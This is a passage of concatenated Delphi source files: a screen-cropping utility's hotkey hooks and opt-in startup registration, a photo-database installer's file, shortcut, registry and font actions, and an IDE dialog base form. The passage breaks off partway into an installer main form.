drawReg := CreateRectRgn(0,0,0,0);
SetWindowRgn(SelectionForm.Handle, drawReg, true);
end
else if ((wParam = WM_MOUSEMOVE) and (selectingScreenShotArea)) then
begin
if (currTopLeftX < mouseClient.x) then
begin
SelectionForm.SelectionShape.Left:=currTopLeftX;
end
else
begin
SelectionForm.SelectionShape.Left:=mouseClient.x;
end;
if (currTopLeftY < mouseClient.y) then
begin
SelectionForm.SelectionShape.Top:=currTopLeftY;
end
else
begin
SelectionForm.SelectionShape.Top:=mouseClient.y;
end;
SelectionForm.SelectionShape.Width:=Abs(currTopLeftX - mouseClient.x);
SelectionForm.SelectionShape.Height:=Abs(currTopLeftY - mouseClient.y);
drawReg := CreateRectRgn(SelectionForm.SelectionShape.Left,
SelectionForm.SelectionShape.Top,
SelectionForm.SelectionShape.Left + SelectionForm.SelectionShape.Width,
SelectionForm.SelectionShape.Top + SelectionForm.SelectionShape.Height
);
SetWindowRgn(SelectionForm.Handle, drawReg, true);
end;
result := CallNextHookEx(0, nCode, wParam, lParam);
end;
procedure TSelectionForm.FormCreate(Sender: TObject);
var
drawReg: HRGN;
exePath: string;
messageBoxReturn: longInt;
hStartupKey: HKEY;
hOldStartupKey: HKEY;
hCheckStartupKey: HKEY;
hFirstTimeRunKey: HKEY;
hCreatedFirstTimeRunKey: HKEY;
hLastCombinationKey: HKEY;
lastCombinationType: DWORD;
lastCombinationValue: array of BYTE;
lastCombinationValueSize: DWORD;
i: longInt;
vkCombinationString: string;
begin
changingCombination := false;
drawReg := CreateRectRgn(0,0,0,0);
SetWindowRgn(Handle, drawReg, true);
Canvas.Brush.Color:=clWhite;
Canvas.Brush.Style:=bsSolid;
Canvas.Pen.Style:=psClear;
kbdHook := SetWindowsHookEx(WH_KEYBOARD_LL, @kbdHookProc, HInstance, 0);
mouseHook := SetWindowsHookEx(WH_MOUSE_LL, @mouseHookProc, HInstance, 0);
takingScreenShot := false;
selectingScreenShotArea := false;
if (RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\ScreenCropper', 0, KEY_READ, hCreatedFirstTimeRunKey) <> ERROR_SUCCESS) then
begin
// running for the first time!
SetLength(hotkeyCombination, 3);
hotkeyCombination[0] := VK_CONTROL;
hotkeyCombination[1] := VK_MENU;
hotkeyCombination[2] := VK_C;
currCombinationString := 'CTRL-ALT-C';
// let's see if we already have a screated registry file for stratup
if (RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_READ, hOldStartupKey) = ERROR_SUCCESS) then
begin
if (RegQueryValueEx(hOldStartupKey, 'ScreenCropper', nil, nil, nil, nil) = ERROR_FILE_NOT_FOUND) then
begin
// can't open startup registry for our exe, should we create it?
messageBoxReturn := MessageBox(0, 'Do you want Screen Cropper to be run on Windows startup?', 'Screen Cropper', MB_YESNO or MB_ICONINFORMATION);
exePath := Application.ExeName;
if (messageBoxReturn = IDYES) then
begin
// add key to autorun reg
if (RegCreateKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', hStartupKey) <> ERROR_SUCCESS) then
begin
// could not create reg key.. exePath
MessageBox(0, 'Could not create registry key for Screen Cropper!', 'Screen Cropper', MB_OK or MB_ICONINFORMATION)
end
else
begin
RegSetValueEx(hStartupKey, 'ScreenCropper', 0, REG_SZ, LPBYTE(exePath), (Length(exePath)+1)*2);
end;
end;
end;
end;
// put the vk codes of our combination in the value
for i:=0 to Length(hotKeyCombination)-1 do
begin
if (vkCombinationString = '') then
begin
vkCombinationString := vkCombinationString + IntToStr(hotkeyCombination[i]);
end
else
begin
vkCombinationString := vkCombinationString + ', ' + IntToStr(hotkeyCombination[i]);
end;
end;
RegCreateKey(HKEY_CURRENT_USER, 'Software\ScreenCropper', hFirstTimeRunKey);
RegSetValueEx(hFirstTimeRunKey, 'ActivationCombination', 0, REG_SZ, LPBYTE(vkCombinationString), (Length(vkCombinationString)+1)*2);
end
else
begin
// running NOT for the first time.. read the last saved combination then
RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\ScreenCropper', 0, KEY_READ, hLastCombinationKey);
SetLength(lastCombinationValue, 4000); // XDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
RegQueryValueEx(hLastCombinationKey, 'ActivationCombination', nil, @lastCombinationType, @lastCombinationValue[0], @lastCombinationValueSize);
SetLength(lastCombinationValue, lastCombinationValueSize);
for i:=0 to lastCombinationValueSize-1 do
begin
vkCombinationString := vkCombinationString + char(lastCombinationValue[i]);
end;
loadCombinationFromString(vkCombinationString);
end;
if (RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_READ, hCheckStartupKey) = ERROR_SUCCESS) then
begin
// startup enabled
if (RegQueryValueEx(hCheckStartupKey, 'ScreenCropper', nil, nil, nil, nil) = ERROR_FILE_NOT_FOUND) then
begin
// didn't find the startup value, it's not enabled then!!
LaunchOnStartup.Checked:=false;
end
else
begin
LaunchOnStartup.Checked:=true;
end;
end
end;
procedure TSelectionForm.ChangeCombItemClick(Sender: TObject);
begin
SetLength(hotkeyCombination, 0);
changingCombination := true;
TrayIcon.BalloonTitle:='Changing combination';
TrayIcon.BalloonHint:='You are currently changing the combination that activates Screen Cropper. Push on the desired keys and, while holding them down, push Enter';
TrayIcon.ShowBalloonHint;
end;
procedure TSelectionForm.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(kbdHook);
UnhookWindowsHookEx(mouseHook);
end;
procedure TSelectionForm.LaunchOnStartupClick(Sender: TObject);
var
startupKey: HKEY;
newStartupKey: HKEY;
exePath: string;
begin
exePath := Application.ExeName;
RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_READ or KEY_WRITE, startupKey);
if (LaunchOnStartup.Checked) then
begin
// remove ScreenCropper value from Software\Microsoft\Windows\CurrentVersion\Run
RegDeleteValue(startupKey, 'ScreenCropper');
end
else
begin
// else add it
if (RegCreateKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', newStartupKey) <> ERROR_SUCCESS) then
begin
// could not create reg key..
MessageBox(0, 'Could not create registry key for Screen Cropper!', 'Screen Cropper', MB_OK or MB_ICONINFORMATION)
end
else
begin
RegSetValueEx(newStartupKey, 'ScreenCropper', 0, REG_SZ, LPBYTE(exePath), (Length(exePath)+1)*2);
end;
end;
LaunchOnStartup.Checked:=not(LaunchOnStartup.Checked);
end;
procedure TSelectionForm.QuitItemClick(Sender: TObject);
begin
Application.Terminate;
end;
procedure TSelectionForm.ShowCombItemClick(Sender: TObject);
begin
TrayIcon.BalloonTitle:='Your combination';
TrayIcon.BalloonHint:=currCombinationString;
TrayIcon.ShowBalloonHint;
end;
function getAppropriateStringForVirtualKey(vKeyCode: longInt): string;
var
fKeyNum: longInt;
begin
if (vKeyCode = VK_TAB) then
begin
exit('TAB');
end
else if (vKeyCode = VK_CAPITAL) then
begin
exit('CAPS');
end
else if (vKeyCode = VK_LSHIFT) then
begin
exit('SHIFT');
end
else if (vKeyCode = VK_RSHIFT) then
begin
exit('SHIFT');
end
else if (vKeyCode = VK_SHIFT) then
begin
exit('SHIFT');
end
else if (vKeyCode = VK_LCONTROL) then
begin
exit('CTRL');
end
else if (vKeyCode = VK_RCONTROL) then
begin
exit('CTRL');
end
else if (vKeyCode = VK_CONTROL) then
begin
exit('CTRL');
end
else if (vKeyCode = VK_LWIN) then
begin
exit('LWIN');
end
else if (vKeyCode = VK_RWIN) then
begin
exit('RWIN');
end
else if (vKeyCode = VK_LMENU) then
begin
exit('ALT');
end
else if (vKeyCode = VK_RMENU) then
begin
exit('ALT');
end
else if (vKeyCode = VK_MENU) then
begin
exit('ALT');
end
else if (vKeyCode in [32..47]) then
begin
if (vKeyCode = 32) then
begin
exit('SPACEBAR');
end
else if (vKeyCode = 33) then
begin
exit('PG UP');
end
else if (vKeyCode = 34) then
begin
exit('PG DOWN');
end
else if (vKeyCode = 35) then
begin
exit('END');
end
else if (vKeyCode = 36) then
begin
exit('HOME');
end
else if (vKeyCode = 37) then
begin
exit('LEFT ARROW');
end
else if (vKeyCode = 38) then
begin
exit('UP ARROW');
end
else if (vKeyCode = 39) then
begin
exit('RIGHT ARROW');
end
else if (vKeyCode = 40) then
begin
exit('DOWN ARROW');
end
else if (vKeyCode = 41) then
begin
exit('SELECT');
end
else if (vKeyCode = 42) then
begin
exit('PREINT');
end
else if (vKeyCode = 43) then
begin
exit('EXECUTE');
end
else if (vKeyCode = 44) then
begin
exit('PRINT SCREEN');
end
else if (vKeyCode = 45) then
begin
exit('INS');
end
else if (vKeyCode = 46) then
begin
exit('DEL');
end
else if (vKeyCode = 47) then
begin
exit('HELP');
end;
end
else if (vKeyCode in [112..135]) then // F1-F24
begin
fKeyNum := vKeyCode - 111;
exit('F'+IntToStr(fKeyNum));
end
else if (vKeyCode in [144..145]) then
begin
if (vKeyCode = 144) then
begin
exit('NUM LOCK');
end
else if (vKeyCode = 145) then
begin
exit('SCROLL LOCK');
end;
end
else
begin
exit('N/A');
end;
end;
end.
|
unit uInstallActions;
{$WARN SYMBOL_PLATFORM OFF}
interface
uses
System.Classes,
System.StrUtils,
System.SysUtils,
System.Win.Registry,
Winapi.ActiveX,
Winapi.Windows,
Winapi.Messages,
Winapi.ShellApi,
Winapi.ShlObj,
Dmitry.Utils.ShortCut,
Dmitry.Utils.System,
UnitINI,
uMemory,
uInstallTypes,
uInstallUtils,
uConstants,
uInstallScope,
uRuntime,
uTranslate,
uInstallZip,
uAssociations,
uShellUtils,
uActions,
uLogger,
uUserUtils,
uStillImage;
const
InstallPoints_Close_PhotoDB = 1024 * 1024;
InstallPoints_ShortCut = 500 * 1024;
InstallPoints_FileAction = 500 * 1024;
InstallPoints_Registry = 128 * 1024;
InstallPoints_RunProgram = 1024 * 1024;
InstallPoints_StillImage = 512 * 1024;
type
TUpdatePreviousVersions = class(TInstallAction)
end;
TInstallUpdates = class(TInstallAction)
end;
TInstallCloseApplication = class(TInstallAction)
public
function CalculateTotalPoints: Int64; override;
procedure Execute(Callback: TActionCallback); override;
end;
TInstallFiles = class(TInstallAction)
private
FTotal: Int64;
FCurrentlyDone: Int64;
FCallBack: TActionCallback;
procedure InternalCallBack(BytesRead, BytesTotal: Int64; var Terminate: Boolean);
public
function CalculateTotalPoints: Int64; override;
procedure Execute(Callback: TActionCallback); override;
end;
TInstallFileActions = class(TInstallAction)
public
function CalculateTotalPoints: Int64; override;
procedure Execute(Callback: TActionCallback); override;
end;
TInstallRegistry = class(TInstallAction)
private
FCallback: TActionCallback;
procedure OnInstallRegistryCallBack(Current, Total: Integer; var Terminate: Boolean);
public
function CalculateTotalPoints: Int64; override;
procedure Execute(Callback: TActionCallback); override;
end;
TInstallShortcuts = class(TInstallAction)
function CalculateTotalPoints: Int64; override;
procedure Execute(Callback: TActionCallback); override;
end;
TInstallStillImageHandler = class(TInstallAction)
function CalculateTotalPoints: Int64; override;
procedure Execute(Callback: TActionCallback); override;
end;
TInstallRunProgram = class(TInstallAction)
function CalculateTotalPoints: Int64; override;
procedure Execute(Callback: TActionCallback); override;
end;
implementation
{ TInstallFiles }
function TInstallFiles.CalculateTotalPoints: Int64;
var
MS: TMemoryStream;
DiskObject: TDiskObject;
I: Integer;
begin
Result := 0;
MS := TMemoryStream.Create;
try
GetRCDATAResourceStream(SetupDataName, MS);
for I := 0 to CurrentInstall.Files.Count - 1 do
begin
DiskObject := CurrentInstall.Files[I];
Inc(Result, GetObjectSize(MS, DiskObject.Name));
end;
finally
F(MS);
end;
end;
procedure TInstallFiles.Execute(Callback: TActionCallback);
var
MS: TMemoryStream;
I: Integer;
DiskObject: TDiskObject;
Destination: string;
begin
FCallBack := Callback;
FTotal := CalculateTotalPoints;
FCurrentlyDone := 0;
CreateDir(CurrentInstall.DestinationPath);
MS := TMemoryStream.Create;
try
GetRCDATAResourceStream(SetupDataName, MS);
for I := 0 to CurrentInstall.Files.Count - 1 do
begin
DiskObject := CurrentInstall.Files[I];
Destination := IncludeTrailingBackslash(ResolveInstallPath(DiskObject.FinalDestination)) + DiskObject.Name;
if DiskObject is TFileObject then
ExtractFileFromStorage(MS, Destination, InternalCallBack);
if DiskObject is TDirectoryObject then
ExtractDirectoryFromStorage(MS, Destination, InternalCallBack);
Inc(FCurrentlyDone, GetObjectSize(MS, DiskObject.Name));
end;
finally
F(MS);
end;
end;
procedure TInstallFiles.InternalCallBack(BytesRead, BytesTotal : int64; var Terminate : Boolean);
begin
FCallBack(Self, FCurrentlyDone + BytesRead, FTotal, Terminate);
end;
{ TInstallShortcuts }
function TInstallShortcuts.CalculateTotalPoints: Int64;
var
I: Integer;
DiskObject: TDiskObject;
begin
Result := 0;
for I := 0 to CurrentInstall.Files.Count - 1 do
begin
DiskObject := CurrentInstall.Files[I];
Inc(Result, DiskObject.ShortCuts.Count * InstallPoints_ShortCut);
end;
end;
procedure TInstallShortcuts.Execute(Callback: TActionCallback);
var
I, J: Integer;
DiskObject: TDiskObject;
CurentPosition: Int64;
ShortcutPath, ObjectPath: string;
begin
CurentPosition := 0;
for I := 0 to CurrentInstall.Files.Count - 1 do
begin
DiskObject := CurrentInstall.Files[I];
for J := 0 to DiskObject.ShortCuts.Count - 1 do
begin
Inc(CurentPosition, InstallPoints_ShortCut);
ObjectPath := ResolveInstallPath(IncludeTrailingBackslash(DiskObject.FinalDestination) + DiskObject.Name);
ShortcutPath := ResolveInstallPath(DiskObject.ShortCuts[J].Location);
if StartsText('http', ShortcutPath) then
begin
ObjectPath := ChangeFileExt(ObjectPath, '.url');
CreateInternetShortcut(ObjectPath, ShortcutPath);
ShortcutPath := ResolveInstallPath(DiskObject.ShortCuts[J].Name);
CreateShortcut(ObjectPath, ShortcutPath, TTranslateManager.Instance.TA(ResolveInstallPath(DiskObject.Description), 'SETUP'));
Continue;
end;
CreateShortcut(ObjectPath, ShortcutPath, TTranslateManager.Instance.TA(ResolveInstallPath(DiskObject.Description), 'SETUP'));
end;
end;
end;
{ TInstallRegistry }
function TInstallRegistry.CalculateTotalPoints: Int64;
begin
Result := 11 * InstallPoints_Registry;
end;
procedure TInstallRegistry.Execute(Callback: TActionCallback);
var
FileName: string;
begin
FCallback := Callback;
FileName := IncludeTrailingBackslash(CurrentInstall.DestinationPath) + PhotoDBFileName;
RegInstallApplication(FileName, OnInstallRegistryCallBack);
end;
procedure TInstallRegistry.OnInstallRegistryCallBack(Current, Total: Integer;
var Terminate: Boolean);
begin
FCallback(Self, Current * InstallPoints_Registry, Total * InstallPoints_Registry, Terminate);
end;
{ TInstallRunProgram }
function TInstallRunProgram.CalculateTotalPoints: Int64;
begin
Result := InstallPoints_RunProgram;
end;
procedure TInstallRunProgram.Execute(Callback: TActionCallback);
var
Terminate: Boolean;
PhotoDBExeFile: string;
begin
PhotoDBExeFile := IncludeTrailingBackslash(CurrentInstall.DestinationPath) + PhotoDBFileName;
RunAsUser(PhotoDBExeFile, ' /start', CurrentInstall.DestinationPath, False);
Callback(Self, InstallPoints_RunProgram, InstallPoints_RunProgram, Terminate);
end;
{ TInstallCloseApplication }
function TInstallCloseApplication.CalculateTotalPoints: Int64;
begin
Result := InstallPoints_Close_PhotoDB;
end;
procedure TInstallCloseApplication.Execute(Callback: TActionCallback);
const
Timeout = 60000;
var
WinHandle: HWND;
StartTime: Cardinal;
begin
inherited;
WinHandle := FindWindow(nil, PChar(DBID));
if WinHandle <> 0 then
begin
SendMessage(WinHandle, WM_CLOSE, 0, 0);
StartTime := GetTickCount;
while(true) do
begin
if (FindWindow(nil, PChar(DB_ID)) = 0) and (FindWindow(nil, PChar(DB_ID_CLOSING)) = 0) then
Break;
if (GetTickCount - StartTime) > Timeout then
Break;
Sleep(100);
end;
Sleep(1000);
end;
end;
{ TInstallFileActions }
function TInstallFileActions.CalculateTotalPoints: Int64;
var
I, J: Integer;
DiskObject: TDiskObject;
begin
Result := 0;
for I := 0 to CurrentInstall.Files.Count - 1 do
begin
DiskObject := CurrentInstall.Files[I];
for J := 0 to DiskObject.Actions.Count - 1 do
if DiskObject.Actions[J].Scope = asInstall then
Inc(Result, DiskObject.Actions.Count * InstallPoints_FileAction);
end;
end;
procedure TInstallFileActions.Execute(Callback: TActionCallback);
var
I, J: Integer;
DiskObject: TDiskObject;
CurentPosition: Int64;
ObjectPath: string;
StartInfo: TStartupInfo;
ProcInfo: TProcessInformation;
hReg: TRegistry;
FontName, FontsDirectory: string;
begin
CurentPosition := 0;
for I := 0 to CurrentInstall.Files.Count - 1 do
begin
DiskObject := CurrentInstall.Files[I];
for J := 0 to DiskObject.Actions.Count - 1 do
begin
if DiskObject.Actions[J].Scope = asInstall then
begin
Inc(CurentPosition, InstallPoints_ShortCut);
ObjectPath := ResolveInstallPath(IncludeTrailingBackslash(DiskObject.FinalDestination) + DiskObject.Name);
{ fill with known state }
FillChar(StartInfo, SizeOf(TStartupInfo), #0);
FillChar(ProcInfo, SizeOf(TProcessInformation), #0);
try
with StartInfo do begin
cb := SizeOf(StartInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_NORMAL;
end;
CreateProcess(nil, PChar('"' + ObjectPath + '"' + ' ' + DiskObject.Actions[J].CommandLine), nil, nil, False,
CREATE_DEFAULT_ERROR_MODE or NORMAL_PRIORITY_CLASS,
nil, PChar(ExcludeTrailingPathDelimiter(ExtractFileDir(ObjectPath))), StartInfo, ProcInfo);
WaitForSingleObject(ProcInfo.hProcess, 30000);
finally
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;
end;
if DiskObject.Actions[J].Scope = asInstallFont then
begin
FontsDirectory := GetFontsDirectory;
ObjectPath := ResolveInstallPath(IncludeTrailingBackslash(DiskObject.FinalDestination) + DiskObject.Name);
FontName := DiskObject.Name;
CopyFile(PChar(ObjectPath), PChar(FontsDirectory + FontName), False);
hReg := TRegistry.Create;
try
hReg.RootKey := HKEY_LOCAL_MACHINE;
hReg.LazyWrite := False;
if hReg.OpenKey('Software\Microsoft\Windows NT\CurrentVersion\Fonts', False) then
hReg.WriteString(DiskObject.Actions[J].CommandLine, FontName);
hReg.CloseKey;
finally
F(hReg);
end;
AddFontResource(PChar(FontsDirectory + FontName));
SendNotifyMessage(HWND_BROADCAST, WM_FONTCHANGE, SPI_SETDOUBLECLICKTIME, 0);
end;
end;
end;
end;
{ TInstallStillImageHandler }
function TInstallStillImageHandler.CalculateTotalPoints: Int64;
begin
if IsWindowsXPOnly then
Result := InstallPoints_StillImage
else
Result := 0;
end;
procedure TInstallStillImageHandler.Execute(Callback: TActionCallback);
var
PhotoDBExeFile: string;
begin
if IsWindowsXPOnly then
begin
PhotoDBExeFile := IncludeTrailingBackslash(CurrentInstall.DestinationPath) + PhotoDBFileName;
RegisterStillHandler('Photo Database', PhotoDBExeFile + ' /import');
end;
end;
end.
|
unit ideSHBaseDialogFrm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, AppEvnts,
SHDesignIntf, SHOptionsIntf;
type
TBaseDialogForm = class(TForm, ISHModalForm)
pnlOK: TPanel;
pnlOKCancelHelp: TPanel;
pnlOKCancel: TPanel;
Bevel1: TBevel;
Bevel2: TBevel;
Bevel3: TBevel;
Panel4: TPanel;
Panel5: TPanel;
Panel6: TPanel;
btnOK3: TButton;
btnCancel2: TButton;
btnHelp1: TButton;
btnOK2: TButton;
btnCancel1: TButton;
btnOK1: TButton;
bvlLeft: TBevel;
bvlTop: TBevel;
bvlRight: TBevel;
bvlBottom: TBevel;
pnlClient: TPanel;
ApplicationEvents1: TApplicationEvents;
procedure FormCreate(Sender: TObject);
procedure ApplicationEvents1Idle(Sender: TObject; var Done: Boolean);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormActivate(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
private
{ Private declarations }
FButtonsMode: TButtonsMode;
FEnabledOK: Boolean;
FCaptionOK: string;
FCaptionCancel: string;
FCaptionHelp: string;
FShowIndent: Boolean;
FDesigner: ISHDesigner;
FOnBeforeModalClose: TBeforeModalClose;
FOnAfterModalClose: TAfterModalClose;
FComponentForm: TSHComponentForm;
function GetButtonsMode: TButtonsMode;
procedure SetButtonsMode(Value: TButtonsMode);
function GetEnabledOK: Boolean;
procedure SetEnabledOK(Value: Boolean);
function GetCaptionOK: string;
procedure SetCaptionOK(Value: string);
function GetCaptionCancel: string;
procedure SetCaptionCancel(Value: string);
function GetCaptionHelp: string;
procedure SetCaptionHelp(Value: string);
function GetShowIndent: Boolean;
procedure SetShowIndent(Value: Boolean);
function GetModalResultCode: TModalResult;
procedure SetModalResultCode(Value: TModalResult);
function GetOnBeforeModalClose: TBeforeModalClose;
procedure SetOnBeforeModalClose(Value: TBeforeModalClose);
function GetOnAfterModalClose: TAfterModalClose;
procedure SetOnAfterModalClose(Value: TAfterModalClose);
procedure SetComponentForm(Value: TSHComponentForm);
protected
procedure DoSaveSettings; virtual;
procedure DoRestoreSettings; virtual;
procedure DoOnIdle; virtual;
public
{ Public declarations }
procedure SetFormSize(const H, W: Integer);
property ButtonsMode: TButtonsMode read GetButtonsMode write SetButtonsMode;
property CaptionOK: string read GetCaptionOK write SetCaptionOK;
property CaptionCancel: string read GetCaptionCancel write SetCaptionCancel;
property CaptionHelp: string read GetCaptionHelp write SetCaptionHelp;
property ShowIndent: Boolean read GetShowIndent write SetShowIndent;
property ModalResultCode: TModalResult read GetModalResultCode write SetModalResultCode;
property Designer: ISHDesigner read FDesigner;
property ComponentForm: TSHComponentForm read FComponentForm write SetComponentForm;
property OnBeforeModalClose: TBeforeModalClose read GetOnBeforeModalClose write SetOnBeforeModalClose;
property OnAfterModalClose: TAfterModalClose read GetOnAfterModalClose write SetOnAfterModalClose;
end;
var
BaseDialogForm: TBaseDialogForm;
implementation
uses
ideSHConsts, ideSHSysUtils, ideSHSystem;
{$R *.dfm}
{ TBaseDialogForm }
function TBaseDialogForm.GetButtonsMode: TButtonsMode;
begin
Result := FButtonsMode;
end;
procedure TBaseDialogForm.SetButtonsMode(Value: TButtonsMode);
begin
FButtonsMode := Value;
pnlOK.Visible := FButtonsMode = bmOK;
pnlOKCancel.Visible := FButtonsMode = bmOKCancel;
pnlOKCancelHelp.Visible := FButtonsMode = bmOKCancelHelp;
end;
function TBaseDialogForm.GetCaptionOK: string;
begin
Result := FCaptionOK;
end;
procedure TBaseDialogForm.SetCaptionOK(Value: string);
begin
FCaptionOK := Value;
btnOK1.Caption := FCaptionOK;
btnOK2.Caption := FCaptionOK;
btnOK3.Caption := FCaptionOK;
end;
function TBaseDialogForm.GetEnabledOK: Boolean;
begin
Result := FEnabledOK;
end;
procedure TBaseDialogForm.SetEnabledOK(Value: Boolean);
begin
FEnabledOK := Value;
btnOK1.Enabled := FEnabledOK;
btnOK2.Enabled := FEnabledOK;
btnOK3.Enabled := FEnabledOK;
end;
function TBaseDialogForm.GetCaptionCancel: string;
begin
Result := FCaptionCancel;
end;
procedure TBaseDialogForm.SetCaptionCancel(Value: string);
begin
FCaptionCancel := Value;
btnCancel1.Caption := FCaptionCancel;
btnCancel2.Caption := FCaptionCancel;
end;
function TBaseDialogForm.GetCaptionHelp: string;
begin
Result := FCaptionHelp;
end;
procedure TBaseDialogForm.SetCaptionHelp(Value: string);
begin
FCaptionHelp := Value;
btnHelp1.Caption := FCaptionHelp;
end;
procedure TBaseDialogForm.FormCreate(Sender: TObject);
begin
AntiLargeFont(Self);
BorderIcons := [biSystemMenu];
Position := poScreenCenter;
SHSupports(ISHDesigner, FDesigner);
DoRestoreSettings;
BorderStyle := bsSizeable;
pnlClient.Caption := EmptyStr;
ButtonsMode := bmOKCancel;
CaptionOK := Format('%s', [SCaptionButtonOK]);
CaptionCancel := Format('%s', [SCaptionButtonCancel]);
CaptionHelp := Format('%s', [SCaptionButtonHelp]);
ShowIndent := True;
end;
procedure TBaseDialogForm.FormClose(Sender: TObject;
var Action: TCloseAction);
var
vModalResult: TModalResult;
begin
vModalResult := ModalResult;
try
if Assigned(ComponentForm) and Assigned(FOnBeforeModalClose) then
FOnBeforeModalClose(Sender, vModalResult, Action);
finally
ModalResult := vModalResult;
end;
DoSaveSettings;
end;
function TBaseDialogForm.GetShowIndent: Boolean;
begin
Result := FShowIndent;
end;
procedure TBaseDialogForm.SetShowIndent(Value: Boolean);
begin
FShowIndent := Value;
bvlLeft.Visible := FShowIndent;
bvlTop.Visible := FShowIndent;
bvlRight.Visible := FShowIndent;
end;
function TBaseDialogForm.GetModalResultCode: TModalResult;
begin
Result := ModalResult;
end;
procedure TBaseDialogForm.SetModalResultCode(Value: TModalResult);
begin
ModalResult := Value;
end;
function TBaseDialogForm.GetOnBeforeModalClose: TBeforeModalClose;
begin
Result := FOnBeforeModalClose;
end;
procedure TBaseDialogForm.SetOnBeforeModalClose(Value: TBeforeModalClose);
begin
FOnBeforeModalClose := Value;
end;
function TBaseDialogForm.GetOnAfterModalClose: TAfterModalClose;
begin
Result := FOnAfterModalClose;
end;
procedure TBaseDialogForm.SetOnAfterModalClose(Value: TAfterModalClose);
begin
FOnAfterModalClose := Value;
end;
procedure TBaseDialogForm.SetComponentForm(Value: TSHComponentForm);
begin
FComponentForm := Value;
if Assigned(FComponentForm) then
begin
Caption := FComponentForm.Caption;
DoRestoreSettings;
FComponentForm.Show;
end;
end;
procedure TBaseDialogForm.SetFormSize(const H, W: Integer);
begin
Self.Height := H;
Self.Width := W;
end;
procedure TBaseDialogForm.DoSaveSettings;
var
TmpList: TStringList;
begin
TmpList := TStringList.Create;
TmpList.Add('Width');
TmpList.Add('Height');
try
if Assigned(ComponentForm) then
begin
ComponentForm.Align := alNone;
ComponentForm.Height := Self.Height;
ComponentForm.Width := Self.Width;
WritePropValuesToFile(GetFilePath(SFileForms), SSectionForms, ComponentForm, TmpList);
end else
WritePropValuesToFile(GetFilePath(SFileForms), SSectionForms, Self, TmpList);
finally
TmpList.Free;
end;
end;
procedure TBaseDialogForm.DoRestoreSettings;
var
TmpList: TStringList;
H1, W1, H2, W2: Integer;
begin
TmpList := TStringList.Create;
TmpList.Add('Width');
TmpList.Add('Height');
try
if Assigned(ComponentForm) then
begin
ComponentForm.Align := alNone;
H1 := ComponentForm.Height;
W1 := ComponentForm.Width;
ReadPropValuesFromFile(GetFilePath(SFileForms), SSectionForms, ComponentForm, TmpList);
H2 := ComponentForm.Height;
W2 := ComponentForm.Width;
Self.Width := ComponentForm.Width;
if (H1 = H2) and (W1 = W2) then
Self.Height := FComponentForm.Height + bvlBottom.Height + pnlOK.Height
else
Self.Height := ComponentForm.Height;
ComponentForm.Align := alClient;
end else
ReadPropValuesFromFile(GetFilePath(SFileForms), SSectionForms, Self, TmpList);
finally
TmpList.Free;
end;
end;
procedure TBaseDialogForm.DoOnIdle;
begin
// Empty
end;
procedure TBaseDialogForm.ApplicationEvents1Idle(Sender: TObject;
var Done: Boolean);
begin
DoOnIdle;
end;
procedure TBaseDialogForm.FormActivate(Sender: TObject);
begin
if Assigned(ComponentForm) then
begin
FComponentForm.BringToTop;
if Assigned(ComponentForm.ActiveControl) and ComponentForm.ActiveControl.CanFocus then
FComponentForm.ActiveControl.SetFocus;
end;
end;
procedure TBaseDialogForm.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Assigned(ComponentForm) then
if (Key = VK_RETURN) and (ssCtrl in Shift) then ModalResult := mrOK;
end;
end.
|
unit uFrmMain;
interface
{$WARN SYMBOL_PLATFORM OFF}
uses
Winapi.Windows,
Winapi.Messages,
System.SysUtils,
System.Classes,
System.ZLib,
System.Win.Registry,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.ExtCtrls,
Vcl.StdCtrls,
Vcl.Imaging.pngimage,
Dmitry.Utils.System,
Dmitry.Controls.WatermarkedEdit,
uDBForm,
uInstallTypes,
uInstallUtils,
uMemory,
uConstants,
uRuntime,
uVistaFuncs,
uInstallScope,
uShellUtils,
uSteps,
uDBBaseTypes,
{$IFDEF INSTALL}
uInstallSteps,
uInstallRuntime,
{$ENDIF}
{$IFDEF UNINSTALL}
uUninstallSteps,
{$ENDIF}
uFrmProgress;
type
TFrmMain = class(TDBForm)
ImMain: TImage;
BtnNext: TButton;
BtnCancel: TButton;
LbWelcome: TLabel;
Bevel1: TBevel;
BtnInstall: TButton;
BtnPrevious: TButton;
procedure BtnCancelClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BtnInstallClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure BtnNextClick(Sender: TObject);
procedure BtnPreviousClick(Sender: TObject);
private
{ Private declarations }
FrmProgress: TFrmProgress;
FInstallType : TInstallSteps;
procedure LoadLanguage;
procedure LoadMainImage;
procedure StepsChanged(Sender: TObject);
protected
function GetFormID: string; override;
public
{ Public declarations }
function UpdateProgress(Position, Total: Int64): Boolean;
end;
var
FrmMain: TFrmMain;
implementation
{$R *.dfm}
uses
uInstallThread;
{ TFrmMain }
procedure TFrmMain.BtnCancelClick(Sender: TObject);
begin
Close;
end;
procedure TFrmMain.BtnInstallClick(Sender: TObject);
{$IFDEF INSTALL}
var
InstalledVersion: TRelease;
{$ENDIF}
begin
{$IFDEF INSTALL}
if IsApplicationInstalled then
begin
InstalledVersion := GetExeVersion(GetInstalledFileName);
if IsNewRelease(InstallVersion, InstalledVersion) then
